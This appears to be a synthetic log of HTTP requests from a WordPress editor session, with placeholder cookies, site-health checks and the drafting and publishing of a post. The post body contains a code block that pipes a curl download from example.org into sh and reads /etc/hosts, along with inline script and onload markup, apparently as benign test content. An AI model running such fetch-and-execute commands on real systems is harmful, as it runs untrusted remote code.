{"method": "GET", "target": "/wp-json/wp/v2/settings?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?post=1&per_page=5&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/pages?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 84", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"title\":\"An about page\",\"content\":\"<p>Our story &amp; more</p>\",\"status\":\"publish\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/settings?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 52", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"title\":\"Example Blog\",\"description\":\"Bob's words\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/users/me?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 63", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"description\":\"Writer of <em>things</em>; likes select wines\"}"}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/background-updates?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "POST", "target": "/wp-cron.php", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215", "Connection: close", "Content-Length: 25", "Content-Type: application/x-www-form-urlencoded"], "body": "site-health=loopback-test"}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/loopback-requests?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/https-status?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=https%3A%2F%2Fexample.org%2Fvideo%2F123&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/url-details?url=https%3A%2F%2Fexample.org%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-renderer/core/archives?context=edit&attributes%5BdisplayAsDropdown%5D=false&post_id=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=11&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: */*", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-bobs-first-post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/wp-content/uploads/2026/11/a.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/11/autosaves?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 968", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"status\":\"draft\",\"title\":\"Bob's first post: a guide\",\"excerpt\":\"a short summary\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\",\"meta\":{\"footnotes\":\"\"}}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"slug\":\"bobs-first-post\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=11&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203235.2958478927612304687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "GET", "target": "/wp-admin/post.php?post=11&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/?p=11", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "GET", "target": "/2026/11/09/bobs-first-post/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "GET", "target": "/?p=11&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "GET", "target": "/wp-admin/revision.php?revision=12", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=12", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": "compare%5B%5D=12%3A11&action=get-revision-diffs&post_id=11"}
{"method": "GET", "target": "/wp-admin/edit.php?post_type=wp_block", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,wp-theme,wp-components,wp-list-reusable-blocks,common,forms,admin-menu,dashboard,list-tables,edit,revisions,&load%5Bchunk_1%5D=media,themes,about,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 85", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": "interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-wp_block&has_focus=true"}
